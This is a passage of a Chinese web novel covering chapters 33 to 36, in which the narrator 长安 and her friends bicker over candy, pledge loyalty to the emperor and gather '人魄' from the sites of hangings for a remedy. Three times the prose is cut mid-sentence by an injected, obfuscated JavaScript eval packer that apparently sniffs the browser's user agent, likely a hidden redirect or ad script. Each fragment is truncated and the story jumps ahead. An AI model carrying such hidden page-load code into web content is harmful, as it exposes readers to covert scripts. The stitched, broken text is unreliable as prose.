平安想象力是最丰富的,随着花铁铁的话,已经脑补完整个剧情,脸色苍白着。柳花郎自然也好不到哪去。 花铁铁很满意柳花郎的反应,却并没有发现平安异常,自顾自低头数着平安怀中软窝里貂儿夫妇和宝宝的个数,“把你们一二三四五六七,把你们一家九口,先奸后杀,再奸再杀。” 柳花郎背着包袱瑟瑟发抖地躲在我身后,满脸惊恐却依旧不曾放弃声讨花铁铁:“什么登徒子这么变态,连刚出生的小貂儿都不放过,花铁铁你说的歹人是你吧!?” 我心中感叹:果然是宁死不屈的柳花郎!结果,花铁铁一个眼刀飞过来,他立马就偃旗息鼓。唉,果然宁死不屈却到现在都还活着,是有原因的。 平安眼里噙满恐惧的泪水,倔强道:“青天百日,天子脚下,哪有这么多的歹人。” “歹人不用多啊,一个就行。” 平安身子一颤,不得不承认花铁铁说得很对,“那我……可以回惠王府。”平安自幼在惠王府长大,心底一直视之为家,将其作为退路,那里戒备森严断不会有那些个乱七八糟的事儿,倒是个很好的安身之所。 可花铁铁不同意,“惠王自个儿都不回家住,搁宫里待着呢,你回去?主子都不在家,你怎么去做客?难不成还像以前一样在府上当差?”花铁铁继续恐吓:“那惠王府也是有规矩的吧,你一个当差的能像现在这样出入自由啊?!那话怎么说的?一入王府深似海,进了王府的门,可就由不得你了,到时候你还怎么随心所欲地见你家郑清啊。” 花铁铁用“当差”二字,倒是有心了。 南唐宫变以后,我跟平安流离北汉,在遇见师父之前,我是个乞儿,而平安则是平昭公主养在惠王府上的歌姬,直到我救治惠王有功,她才出府脱了奴籍做了良家子,后来平昭公主再嫁,另开新府别居,如今惠王也随我一同住在汤泉宫养病,不在府中。 没有主人外出,非要去人家里做客的道理,既非客人,还要入府,便只能是原来的身份,王府的歌姬自然要守王府的规矩,花铁铁说的对。 “惠王仁爱,我去讨个恩典,他定许我小住,断不会叫府中上下拘着我。”平安笃定。 我也认为,只要她开口,惠王自然会答应,但多少有些冒失,而且平安面皮薄,这会儿也只是跟花铁铁斗嘴,真要她去讨恩典,怕是万万开不了口的。 我正思量着,便听花铁铁大咧咧地道:“那你更不能不识抬举啊?噢,你早不再是王府的人啦,你现在是良家子,和以前身份可大大不同。惠王青年才俊尚未婚配,你一未出阁的大姑娘,非得在人主人不在家的时候去做客,赖在人府上不走不说,还天天进进出出找情郎,知道的知道你和郑清怎么回事,不知道的还以为你是王爷纳进府的,王爷不在家,你耐不住寂寞,整日想着别的男人跑出去勾搭,传出去对你对惠王名声好吗?人好心留你做客,你倒好,给人家添这种麻烦,多不要……多不好啊。”花铁铁生生把“脸”字咽了回去,只能说她确实比之前说话动脑子了,但显然并不多。 “花铁铁,你……”平安眉头紧锁,窘得满脸通红,气得身子直哆嗦,一时语塞,只能咬着嘴唇掉眼泪。 花铁铁心疼地拿着帕子上前给平安擦泪,平安侧头躲了过去,花铁铁不死心又跟上前去擦,几番下来,平安就顺从了,花铁铁放柔了语气,接着道:“别哭,别气,话是难听了些,可三人成虎,我可不是吓唬你,不信你问长安,我们在江湖上混了这么些年,什么亏都吃过,就数这流言蜚语的亏最难吃,那家伙,话只要出了人口,说什么都有,怎么说的都有。” 这话倒是真的,谣言烁骨,众口铄金。其中道理平安不是不明白,但是这汤泉宫她真是不想住了,委屈地瘪着嘴,向我求救:“长安……” 花铁铁赶在我开口前,黑着脸厉声警示道:“吃的什么,谁给的?!” 老人言吃人家的嘴短,果然没错,我从口中拿出棒棒糖看了看,心中一番思量,“……平安,你还是听铁铁的吧,惠王府你就别去了,家也别回了,所谓登徒子……有没有的另说,敢不敢翻墙头的也另说,但花铁铁是真虎,即便留不住你,她也会为了证明她没说错,努力把她说的那些全给坐实,最次也得杀个鸡儆个猴。” 平安闻言吓得带着哭腔退到我身边,缩成一团嘤嘤,可怜极了,我忙把身上的包袱推到另一边,护住她,抚着她的后背安慰道:“别怕别怕,你是那猴儿。” 柳花郎一听,顿觉不妙,瞠目结舌地指着自己,向我确定:“那,那,那我,我是……” 花铁铁坏坏地对着柳花郎笑着,斩钉截铁道:“对,你就是那鸡。” 话音落下,在我们的注视下,花铁铁慢慢将抿着的嘴裂开,龇着牙,笑得更胜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎,不要搞个人崇拜。”花铁铁表面上蹙着眉语带责备似的教导着,实则被这么一捧,内心更是舒爽,飘飘然,上翘的嘴角根本压不住,却只隐忍着呵呵一乐,很是谦虚的样子,道:“就是空有把子力气而已!不值一提不值一提!” 女人都是慕强的,平安简直被实力超绝却不骄不傲虚怀若谷的花铁铁,俘获的服服帖帖。而我,则完全沉浸在棒棒糖的甜蜜中…… 那边,柳花郎看着如此壮硕的花铁铁,想起曾经在她手底下苟且偷生屈辱过活的日子,不禁悲上心头,感叹:壮士啊!……这特么哪有个女人样子,天底下男人绑一块儿,也没几个比她猛壮啊,太吓人了,“嘤嘤嘤,我还是比较怀念,都听平安的那段日子,听……听长安的那些日子也还是不错的,嘤嘤嘤……” 想当初他还不识好来着,现在想来,那样的日子怕是以后再也不能有了,“嘤嘤嘤……我以后再也不写歌编排长安了,嘤嘤……” 哼,承认了吧,承认了吧,那个已经在长安城里家喻户晓的《夜长安》就是编排我的,对吧?哼! 花铁铁也算歪打正着,帮我报仇了,虽然她总是横冲直撞惹是生非状况百出,但到底是个好姐妹,关键给糖吃,不错不错! 33. 算盘 花铁铁在一声声赞扬中,迈着四方步,提着我和包袱进了寝殿。 平安转身回去安抚着柳花郎,说花铁铁这只胭脂虎得顺毛摸,以后她说什么是什么,咱们别跟她对着干,日子就会很好过的。 花铁铁不仅是顺毛摸就好脾气的人,还是越捧干劲儿就越足的人,进到殿中,将我和行李放下,神情庄重认真地把包袱一一拆开,一应物品一一拿出来,板板正正地放回柜子里,还不让人搭把手帮忙,定要亲力亲为。 我从寝殿出来,问柳花郎,“刚才那话怎么个意思,什么听我的听平安的?” 柳花郎生的是真的好看,哭得像一朵淋过雨露的水仙花,委屈巴巴道:“听平安的日子是天堂,听你的日子是人间,听花铁铁的,那简直就是地狱啊,一想到以后都是地狱般的日子我就……嘤嘤嘤……” 我一边舔着棒棒糖,一边漫不经心的样子说,其实还好吧,花铁铁就是喜欢吓唬人,老虎嘛,都喜欢吓唬人,但是有些人总是喜欢宁死不屈,那花铁铁就……老虎嘛,自然是给他来点教训,见识见识地狱的样子,其实也算开眼界了。 柳花郎闻言,一顿,复又更加伤心欲绝地哭起来,他认为有些见识可以不用长,有些眼界也不是非得开。 抬眼就看见小宫门外,刘橡捧着灵根,小心翼翼地搓着碎步朝着我们园子挪过来。 自打这第二棵灵根种下,他就不敢像之前一样,总是抱在怀里了,就连浇水诵经也都忍着不去碰。这会儿把灵根捧在手里,他便不敢如常走路了,所以即使我们耽搁了这么长时间,他也才刚刚从他的园子蹭到我们园子门口。 我和平安赶紧过去跟他解释我们不打算出宫了,要继续在这里住着,辛苦他把灵根再放回去。刘橡听了没什么太大的反应,只“哦”了一声,随即搓着小碎步子,转身回去,眼睛一边看着手里的灵根,一边看路,十分忙碌的样子。 我和平安就跟在他身边给他保驾护航,他安心了很多,却顾不上跟我说话,一心一意地继续赶路,只用脸上的笑回应我们的好意。 潇湘馆有一处十分宽敞雅致的大花厅,名曰思凰。 刘景与众人在此闲坐,品茗听曲。柳花郎的新曲《墨染》《江山》,清新淡雅,颇有高山流水之意,让这夏日的燥热也清凉几分…… 平安因为不好意思,便在内间隔断里小坐,用毛线和钩针,给我做新的针织青蛙。花铁铁不忍她孤独,就拉着我一起进去陪着。 我糖吃完了,便不再听花铁铁指挥,说我们男人都在外面,要去她自己去。 花铁铁又要拿糖控制我,可平安说我今天吃得够多了,不肯给她,花铁铁只好作罢,吩咐我好好伺候皇上,就进了内间和平安拉呱。 我本来伺候天子伺候得尽心尽力,挺开心的,花铁铁一嘱托,我反而有些发烦了。好在我向来理智,伺候的又是天子,不然我就甩手不干,去找她干架撒气了。 “平安,你以后也别管长安管得太严,糖又不是什么金贵的东西,她喜欢你就给呗,总得富养着些,别太缺着她了。今儿我一根棒棒糖就叫她什么都顺着我说了,那别人可不一块儿糖也能给拐跑了?!”花铁铁本来一边嗑着瓜子一边潇洒地扔着瓜子皮,忽然觉得她提议的这个事挺严重的,应该引起高度重视,于是表情十分凝重。 我侧头看向内间,本来觉着花铁铁终于懂事了,知道对我好了,可听到最后,胸口立时堵了一下,什么叫她一根棒棒糖就叫我什么都顺着她说?我是脸皮子薄,不好吃了你的东西一抹嘴就不认人了好吧? 我隔着屏风瞪了花铁铁一眼。怎么?我这么强的道德操守,你得了便宜,反倒不乐意了?早知道,我就该和那些个软饭硬吃的人一样,吃着你的糖,还跟你呛呛,你就舒服了。 却不料,平安呵呵一笑,没把花铁铁说的当回事儿,不以为意道:“哎呀,不能,咱家长安一身的好武艺,本事大着呢,除非她乐意,否则谁能拐得了她啊,就算有拐的,咱们长安眼皮子哪能这么浅,一块儿糖就行啊?她又不真是个孩子,有数的很。” “她能有什么数啊,我试试你看看哈,嗯……”平安没顺着花铁铁的心意,使得花铁铁心里有些不舒服,不乐意地反驳平安,于是突发奇想,心血来潮,转着灵动的眸子想了一下,对着屏风外的我道:“长安,你来。” “不去!”我才不给你试。我断然拒绝,继续给天子按腿。 “有糖!” “……”我坚持了一下,真的,但显然失败了。我起身给刘景行了一礼,退下来,走到内间隔断门口,趴在屏风边上,朝里探头问:“你要怎么试我?” 花铁铁正伸手等着平安从糖袋子里找糖给她,平安翻了半天找了一块儿小指甲盖那么大的糖块,放花铁铁手上,花铁铁无语地埋怨道:“都已经打算投食了,就不能给块儿大的。” “不行,她今天吃的够多的了,我都怀疑你说试试她,是为了给她投食,故意找的由头。”平安吝啬的将糖袋子封好口,收起来。 花铁铁无奈又不好意思地看着我,看了看我,又看了看掌心的糖,意思是就这点儿,不是她不想给,实在是平安管得太严,她也没办法,想吃就过来拿,不想吃,也可以。 我想了一下,觉得有总比没有强,于是故意表现的有些很失望又不甘愿的样子,迟疑了下,才进去一口将糖含进口里。如此演上一番,才不叫人觉得我眼皮子浅,这点糖都看得上眼儿。 花铁铁见我咬饵上钩了,就欢喜地把我拉进怀里,夸我可爱,夸我香,然后狠狠亲了一下,我有些不耐烦地躲了躲,问:“还试不试,不试我出去伺候咱家陛下去了。” 花铁铁把我箍在怀里,忙说试试试,然后陷入思索。感情这个大虎叉,根本没想好怎么试我,或者说她没想到我能给她试。 在我几番催促下,花铁铁忽然想起什么似的,捏着我的脸蛋,问:“长安啊,我问你,若是有俊俏小郎君给你糖吃,要亲亲,你同意吗?” 俊俏小郎君给我糖吃还要亲亲,我心中有些激动振奋,却告诫自己稍安勿躁,挑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“漂亮小姐姐是你吧!”我鄙夷地斜了一眼花铁铁。 “不是我,就陌生的,大路上随意遇上的那种,很漂亮的那种。”花铁铁补充说。 我眼睛一转,道:“可我想不出来,除了你,谁家漂亮小姐姐这么不要脸,整天想着摸人小郎君的小鸡。” 花铁铁“嘶”了一下,道:“快点,别扯那些没用的,给不给摸!?” “给给给,摸,使劲摸,摸没!”说着我还朝她拱了拱,撅了撅腚。 花铁铁在我小腚上拍了一把,对平安道:“看吧,孩子就得富养,不然哪天儿真给人一块儿糖拐走了,咱们哭都没地方哭去,长安这么好的孩子,小宝贝疙瘩似的,金山银山跟了人家,咱也觉得亏啊。一块儿糖就……啧啧啧,我想想就难受。” 平安忍俊不禁,手里的针织青蛙就要勾好了,呵呵乐道:“好好好,都听你的,都听你的,你怎么就跟爹要嫁闺女似的,呵呵呵……”平安说着捂嘴轻笑。 “差不多差不多,就是那种心态吧。”花铁铁很认可平安的那种说法,又低头对着倚在她怀里吃糖的我,一脸严肃略带威胁地警示道:“不管怎么样,我给你糖你可以吃,别人给你糖,你不能要,听见没?” 34. 人魄 这会儿我大概已经想明白花铁铁这是要闹哪一处了,于是仰起头直视着花铁铁认真道:“你不就是提出了一个建议,想让平安以后不要太过苛刻太过限制我吃糖,不然我就很容易给人一块儿糖收买了俘虏了奴役了,叫我干啥我干啥啦,对吧? 可平安对你的提议,并不认同,或者说觉得是件不足道的小事,没放心上。你就不乐意了,你为了证实你说的对,为了让平安听从你的主张,你就拿一块儿糖引诱我过来,给你试探。 你想我能自由吃糖的好意我心领了,你担心作为你至交的我,被人一块儿糖就轻易占了便宜的心情,我也能理解,也表示感谢。可是铁铁,时至今日,拿糖引诱我试探我拐骗我控制我欺负我占我便宜等等等等等等,有这些恶劣行为的,从来就只有一个你啊! 而且你还有一个目的是想驯服我妹妹吧。灵感来自于柳花郎那一番关于听谁的,而分别对应天堂人间地狱的说辞?!刚才我妹妹已经听从你的‘好言相劝’留在宫中居住了,你还不踏实,你还想着再测试一下她到底能不能对你言听计从,百依百顺。 好家伙,一颗糖试探我们兄妹两个?花铁铁你行啊你,通过测试我,向平安证实,你说的都对,以后听你的就对了,从而稳坐我们这个小团体的首位,成为我们的主心骨,领头人?一石二鸟,还想一劳永逸,花铁铁你不要想的太美? 想让我们以后都听你的,行啊,不是不行啊,可你得有那个实力和脑子!实力你是没的说,脑子你也有,可光有还不行,你得有个顶好的脑子,但显然这是你的短板。 那就没办法了,兵熊熊一个,将熊熊一窝,你一个人疯傻癫狂没问题,别想着拉我们一快儿彪,那谁受得了啊。铁铁,没那金刚钻,别硬揽那瓷器活儿!不然,别怪我翻脸哦,再多的糖也不行,我不光有数,我还有数不清的心眼子!” 我当面揭穿花铁铁,她瞬间脸红脖子粗,窘得说不出话来,憋了半天:“我根本就没想那么多,叫你一总结……好像还真那么回事儿了,我都没法狡辩!” 嗯?似乎花铁铁是没那么多心眼子,难道真是我过度解读了? 我有些不确定。“不管怎么样,你喜欢我,想跟我在一起不是不行,一起玩一起闹,吃一碗饭,睡一张床都行。但我是有主子的人,我不想驾驭你,你也死了那条心,别老想着赢我收服我,我是不会给你当军师的,咱们大路朝天,建功立业,各凭本事。” 花铁铁一拍大腿,爽朗道:“行,把话挑明了也好,同富贵共患难虽是佳话,但确实不能强求,诚如你说,虽然都是给咱们天子效忠,咱们关系好归关系好,却也得分出个你我来。你不想和我穿一条裤子,我也嫌拖家带口的麻烦,以后不管咱俩是成是败,锦上添花也好,雪中送炭也罢,互祝欢喜不攀比,世态炎凉不怨恨,不过……” 花铁铁这一套江湖话,说得那叫一个有气度,都给我说激动了,却见她说着说着忽然顿了一下,眼睛一转,掩饰不住精光和盘算,道:“以后你吃糖,先找我,我再去找平安,这样咱们大家都听平安的,怎么样?” 平安一惊,忙道:“不不不,我可不敢做你的主。” 对啊,花铁铁,你不吓唬平安就不错了?还都听她的?你糊弄谁? “不怎么样,那跟都听你的有什么区别?!”我冲着花铁铁翻了个白眼,“花铁铁你算盘珠子,不仅打得响,都打飞了。”我看,我还是找惠王吃糖,比较稳妥。 花铁铁对此充耳不闻,拿着我小手,强行击掌为誓,喊着:“一言为定!”然后把我推出内间。 丝竹管弦盈盈悦耳,刘景心情大好! 这出戏里的那块儿糖,真正指向的是上位者,我和花铁铁借着这块儿糖,表明态度、心意、立场,从此,皇帝刘景不必再将我们视为一体。 他完全可以放下心来,我和花铁铁是独立存在的个体,虽然是故交,情份深厚,但我们在军事上,政治上,乃至在后宫,我们都是利益分割清晰,祸福不相牵连的存在。 刘景可以随意差遣我们任意一方为己所用,而不必顾及考虑另一方,甚至如果他愿意我们互相制衡,我们也毫不犹豫。我们是他左右手,可以紧紧相握,也可以对立两边,完全忠心于他,也仅仅忠心于他。 秦王要赴国上任,邀平安相送。皇帝刘景和淑贵妃在长安城东门外的长亭为其送行,我们这些小喽啰,则到更远一点的长乐驿等候。 长乐驿又名长乐水馆,老唐初年设立,后几经战乱,近乎荒废,大汉建国复立此驿,如今是一处车水马龙的忙驿,我们一大早赶到,凭着堂邑夫学宫学生的身份腰牌,得已进驿歇脚,吃着水盆羊肉泡馍,听堂邑夫跟驿站里的老驿卒闲聊胡侃。 老驿卒讲起长安县龙泉乡一桩奇闻,说是龙泉乡里的地头蛇让人剪了命根子,扒了衣服绑在乡廨门口当街示众,这地头蛇颜面尽失羞愧难当,没报官,回去便吊死了。 平安听了惊呼一声钻进花铁铁怀里,我和堂邑夫倒是眼前一亮:吊死!?七皇子的药引子!? 不等我和堂邑夫行动,秦王的车驾就到了。秦王一见到平安,就下了马车,声声喊着姐姐,跑过来,与平安执手相看泪眼,哭得几欲昏厥。平安像安抚弟弟一样安抚秦王,可不论如何,都不能减轻秦王半分离别之苦。 秦王重离别,身边的随从再三催促,才答应上路,却拉着平安不肯松手哭得不能自已,无奈平安只好跟着一起上了马车。于是我们将秦王从长乐水馆送到浐桥,还不行,又要送到灞桥。 我有些不耐烦,就将平安托付给花铁铁,让她们继续送,实在不行把秦王送到地儿也行,就当旅游了。 马车上的秦王听了我这番揶揄的话,像两个红桃子似的眼睛,竟光芒四射。这哥们儿还真敢想好事儿呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我师父的典籍中有记载说,人吊死后,其下土中有物如黑炭,此为人魄,可以入药,即时掘取可得,稍迟则深,积年则失药性,若不掘取,则怨气恒生,必定有人复缢于此。我让薛环打听有吊死人的地方,一是为了取人魄入药,二是为了断绝那地方的怨气,不使再发生吊死之祸,也算一桩功德。 薛环笑而不语,一副高深莫测的样子。我见他不愿意多说,便不追问,谁还没点秘密呢?只看着那五个小瓶子,道:“来路可正?” “正。”薛环郑重点头道。 我放心的叫堂邑夫收好,又问:“你的伤谁给你打的,需要我们给你报仇吗?” “大仇已报。”薛环笑道。阳光下的薛环,明眸皓齿,睫翼微颤,温柔坦然,顾盼生辉,像崭新的太阳一样耀眼…… 嗯?这小子给我的感觉不一样了。我一时恍惚! 我与堂邑夫对视,显然堂邑夫也有同感。我按下心中的疑惑,盘问这几个人魄的出处来历,薛环一一作答,其中四个是未出阁的大姑娘,一个是丈夫长年在外的小妇人。 都是女子?!我震惊不已,那这事儿就值得深究了。想来这些女子,必定是受了天大的委屈。 35. 恍惚 不等我追问,薛环便知我所想一般解我所惑,很默契地详细道来,跟我交了底儿,这种默契让我感到舒适,心有灵犀话不必多的感觉总是轻快的,却也越发奇怪,我与堂邑夫达到这种境界,也是磨合多年,我与薛环却并未深交,如何这般契合? 我一边仔细听着薛环的话,一边侧头深深打量着他,明明还是那副眉眼,到底哪里不一样了呢? 果然这些女子寻了短见,都是被人奸污所致,薛环说他之所以被打,就是因为打听这吊死人的事儿,让人瞄上的。 啊?竟是因为此事受的伤?!我心中一颤,一脸愧疚不已,道:“连累你了,只是……为什么就被打了呢?” 薛环呵呵一笑,叫我不必自责,眼神闪烁了一下,继续道,起初他也不知缘故,醒了以后,细细思考,才觉得此事蹊跷,从苏和药庐出来,就直奔龙泉乡暗中探查,原来是此乡地头蛇冉处,做贼心虚,听说有人探查吊死之事,就叫手底下的混混尾随欲下黑手,被薛环察觉后,便寻衅滋事,故意找茬,发生口角,引起打斗,重伤了他。 事出无常必有妖,薛环伤好后顺藤摸瓜,发现这个冉处丧尽天良,仗着有些背景,欺压百姓,鱼肉乡里,横行霸道,奸污女子。 一般这种事儿,女子及其家人觉得丢人,都秘而不宣,不会报官,更不会讨什么说法,只当吃个哑巴亏,忍下屈辱,说是退过婚的,或者和离过的,总之编造各种理由,远嫁他乡。然而有些性子烈的,气不过就吊死了。 一个好好的人,突然想不开吊死了,在城里或许是一件让人震惊的事儿,沸沸扬扬众说纷纭,衙人现场查探,仵作勘验留档。 在乡村却总是草草了事,没人想着要去报官,只叫保长①来看一眼,确定是自行上吊死的,便摆上灵堂哭一场,就简单出殡发送了。 没人想着深究缘由,只会不停地感叹,好好一个人,怎么就吊死了呢?又不是早年,饭都吃不上,如今不愁吃不少穿,好好地日子不过,怎么就吊死了呢?周围人都应和,然后又不停地感叹。 然而,仅仅只是感叹,真的只是感叹而已,人心凉薄,日子久了,更连感叹都不复感叹了。 乡下淳朴,也愚昧,那里的生活,在其外让人向往,在其中让人窒息。 未出阁的姑娘葬礼向来简陋,她们不能入祖坟,一般就是一副薄棺匆匆入殓,找一块儿野地,好歹埋了。这还是好的,差一点的,裹一张草席子,乱葬岗一扔,就算完事。 回头上报给甲长②去公廨户曹那里销户,这人就跟从来没到世上来过一样。 薛环说,那冉处这些年糟蹋作践的姑娘很多,吊死了不少,有些人魄年岁久了,掘出来,已经不能入药了,能用的也就这些。又愤恨鄙夷地说,冉处也吊死了,可是他的魄太脏,不用也罢。 他眸底一沉的凌厉,让我又是一阵恍惚,惊奇:这小子还真是不一样了哈,懂得竟不比我少。 我按下对薛环的好奇,只问道:“那他的人魄可掘出来销毁了,那种害人精,别让他死了也祸害人。” 若不及时将吊死鬼的人魄掘出来,那地方还要发生吊死之祸,这种说法虽然十分迷信骇人听闻,但却时常可见吊死过人的地方又接连发生祸事,所以这种事情,我通常宁可信其有。 薛环稳重道:“都处理好了。” 我点点头,深深直视着薛环,忍不住再次认真探究,想从他脸上看出点什么。 薛环沉着地与我四目相对,对视是两个灵魂的触碰,薛环的眸子温柔深邃,像星光沉入大海,我仿佛感受到了什么,心中似乎有什么正要荡漾开来,呼之欲出,却见薛环收回视线,抿嘴温和一笑,柔声道:“长安,你做什么这么看着我?” “我……我觉得你和受伤以前不一样。”我收回灼灼的目光,垂下眸来。 “有什么不一样?”薛环勾着嘴,温和地问我。 堂邑夫也一直和我一同审视着薛环,严肃回答道:“简直判若两人。”我抬眼赞同地点点头,差点捕捉到薛环眸子中一闪而过的热切与期翼。 薛环“呵”的一声笑了,展开手臂,转了一圈,“判若两人?” 我和堂邑夫有些尴尬,是啊,人还是这个人,怎好当着人家的面,说人家和之前不一样,还是判若两人的程度呢? 我们表示抱歉,薛环放下手臂,按在我肩上,像一个小哥哥一样,对我道:“好啦,你和堂大哥先回去吧,我还有事儿要做,剩下的两个人魄,我收集好了,第一时间给你送到花小楼去。” 他到底是怎么知道我要用人魄入药,还要七个的? 薛环明明看出我的疑惑与茫然,却并没有要解释的意思。 我只得作罢,与堂邑夫对视一眼。 “哦,不用,我们也收集了一些,加上你的齐了。”堂邑夫一手拍在薛环肩上,道:“咱们一到回去吧。” 薛环点着头,呵呵一笑,“那感情好,齐了就好,只是我还有事儿,你们先回吧,等忙完了,我再去找你们。” 堂邑夫道:“你能有什么事儿,臭小子,你怎么你……你头上的伤确定好了,确定不要紧?”薛环的转变,让堂邑夫终于忍不住了,上前一边查看着这位昔日小兄弟,一边嘟囔着:“别是还没好利索吧?兄弟你可别硬逞能,有什么不对头的,要跟哥哥我说啊,有什么事儿,且先放着,咱们养好身子再说,要是着急,哥哥我帮你……” 堂邑夫对薛环又是一番关切,薛环很是感动,却只道伤已经全然好了,也没什么要紧的急事儿,只是一些私事而已,不劳烦堂大哥云云。 我仰着头,深深地看着与堂邑夫寒暄的薛环,越发的疑惑,也越发的肯定,疑惑,他头上的伤竟然对他影响这么大。肯定,他的的确确确确实实变了一个人,再不是原来的小屁孩儿薛环了。 他的言行举止,莫名熟悉的很,有点像……不,应该说是很像……那个人。 可那人已经死了。 是的,杜晦,已经死了。 我黯然地叹了口气,低下头来。 薛环注意到我落寞的神情,关心地问:“长,长安……怎么了?” “哦……我刚才说你有些不一样,堂邑夫说你判若两人,实在失礼了。其实我……”我迟疑着,犹豫要不要将心中所惑全都道出来。 薛环微微笑着,耐心等我说下去,他这样子简直跟杜晦更像了,我忽然鼻子一酸,眼里噙满了泪水,咽下一个哽咽,道:“我没觉得你陌生,我反而……我觉得你好熟悉,好像,一个故人。” 薛环似乎被我感染,也动容起来,红了眼圈,他颤抖着下巴,张了张嘴,最终咽下隐忍,苦涩地勾起唇角笑了笑,道:“我们认识也很久了,当然算是故人,当然会感到熟悉啊,小傻……” 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薛环看着自己被打开的手,只愣了一下,便回过神来,依旧微微笑着,没有一点恼火和不悦,跟堂邑夫行了江湖人常用的抱拳礼,说堂大哥教训的是,和我说了声抱歉,复又问道:“怎么搞的,一脸青灰?” “嗯?哦!是有个好朋友做事不稳妥,给我做荷叶鸡的时候把厨房炸了,弄了一脸锅底灰,有些洗不掉了。”我有些羞涩地用力擦了擦脸,软糯糯地回复。 “有个好朋友?”薛环念叨着,眼神一转,了然地笑着摇了摇头,明眸竟微不可察地荡起一丝宠溺,仿佛再说总是这样子,状况百出。那种熟悉的感觉,都要溢出来了,我简直陷了进去。 见我小花猫一般痴痴地看着他,树影斑驳的光束落在他俊俏的脸上,让他的微笑异常烂漫,弯如弦月一般的眼里星光灿灿,看着我们,由衷地欣喜:“真好,还能再次见到你们,真好!!” 说完,不等我和堂邑夫反应,他紧接着又拱手行了一礼告辞,转身而去。 一颦一笑,说话的语气,行礼的动作,走路跨步和摆臂的姿势,尤其那腰背,虽然身形还是个十二三岁的孩子,但俨然…… 我们看着他远去的背影,许久,堂邑夫幽幽道:“我擦,什么情况,见鬼了吧,你有没有觉得他突然很像杜……” “没有!”我矢口否认,“咱们走吧。” 不可以,我不允许,麒麟杜晦是世间唯一,死了也是,没有人可以像他,有他的半分影子也不行! 可是接下来,我心神不宁,恍惚不已……堂邑夫感觉出我的异样,却也没多寻问,只道人魄的事儿既然解决了,接下来他就安心备战学宫大考,定要一鸣惊人。 我为他加油鼓劲,祝他直上青云,蟾宫折桂。 齐王的身子调理得差不多了,等他肋骨长好了,就可以赴国了。七皇子的病,我有信心药到病除,等一切搞定,我打算再回学宫继续给堂邑夫当伴读书僮,毕竟学习让我强大,读书使我快乐。 我和堂邑夫已经收集了四个人魄,加上薛环的五个。我删选了两个出来,到上林苑一处风水极好的地方,进行超度,其他七个入药。花铁铁见我神神秘秘,虽然很是好奇,但很守规矩的在不远处等着。 花铁铁跟我抱怨说那个秦王,心眼子不比我少。要不是她,我的傻妹妹平安一准就给那劳什子的秦王拐到封国去了。 “所以,才把妹妹托付给你啊。”我自然知道秦王的小心思。 36. 六艺 秦王,喜欢我妹妹。 可谁都知道平安有心上人,所以秦王只能暗搓搓的喜欢平安,却总忍不住使些小手段,聊慰一下自己。 秦王纡尊降贵,叫平安姐姐,帮着平安葬花,跟着平安学吉他,说笑话逗平安开心,诉委屈惹平安怜爱……想着各种法子靠近平安,只要近一些,再近一些,就会很开心很满足,可是往往愿望达成的下一刻,他反而变得更贪心,想要的更多起来……这一切我都看在眼里,所以我其实对秦王赴国一事,喜闻乐见。 我和花铁铁同乘一骑,在上林苑广袤无垠的草场上信马由鞭,无拘无束地畅聊生活的琐事,感受从未有过的轻松和自由。人都说江湖逍遥,可我们在江湖上漂泊这么多年,尝尽辛酸苦辣,看尽腥风血雨,历尽刀光剑影,倒真不如这一刻来得悠然安逸。 路过魏宁儿家的庄子,我便带着花铁铁去她家里小坐。 魏宁儿哥嫂忙农活去了,她爹的病也好了,正在村学教书。家里只有她母亲和年幼的弟妹在,魏母对我们很是热情客气,弟弟妹妹总以为我跟他们一样大,喜欢拉着我玩抓羊拐,骑竹马,丢沙包之类的游戏。 我不想玩,又像之前那样推拒,花铁铁就使坏插嘴说什么盛情难却,又故作老成地说道:“你们小孩子去玩吧,我跟大娘聊会天?” “你跟大娘聊什么?”你们才刚经过我认识,我反问道。 “大人说话,小孩儿少打听。”花铁铁说着将我打发到院子里去。魏宁儿弟弟妹妹立即围上来,喜笑颜开的拉着我一起玩耍。见我意兴阑珊,就给我剥莲蓬吃,这我倒是愿意。 午饭过后,我照例留下一些银钱。魏母也照例给我带上一些粮油果蔬鸡蛋鸭蛋等等,整整两大包,挂在马背上,还嘱托我常来,热情地把我们送到庄子外,一路上见人就说这是她家贵客又来看她来了。 庄子上的人都投来艳羡不已的目光,奉承魏母真是好福气,总有贵客临门。这时魏母便一脸欢喜幸福,像自家孩子有出息了一般,复又嘱托我们回去一定要好好吃饭,常回来看看。 临近庄子口,人们提着满筐满篮的作物,鸡鸭鹅,甚至还有牵着羊,撵着猪的,纷纷迎上来,跟着马屁股后面,一边将东西递给我们,使劲往我们手里塞,一边询问苏神医弟子什么时候到庄子义诊。 见我们不收,就塞给魏母,请她代为转交。 他们都是平民,是不敢奢求苏神医亲自诊治的,他们都知道我和苏和的关系,也知道魏父多年的陈疾是我给治好的,但他们隐约知道我在惠王府当差,所以也不敢请我看病,只寄希望于苏和弟子的义诊,对他们来说能让苏神医的弟子瞧一下病,已经是天大的恩典。 大概是家里有人病得重了,他们心急,又不好去魏家叨扰,就守在庄子口。我和花铁铁推拒,说拿不了这么多,叫他们小心,离马远一点,别惊了马匹伤着,我连连承诺尽快便安排师侄过来。 魏家哥嫂赶来把人拉开,却根本拦不住村民的热情。 被人簇拥着出了庄子,送出好远,才挥手告别,其实我和花铁铁很喜欢甚至很享受,这种乡野淳朴热情洋溢的人情世故。 路上说以后年纪大了,就到庄子上来住,养鸡养鸭,喂猪放羊……我支个摊子给人看病抓药,她摆个场子教人拳脚功夫…… 我们哈哈乐着,世间的美好仿佛就在眼前,触手可得。 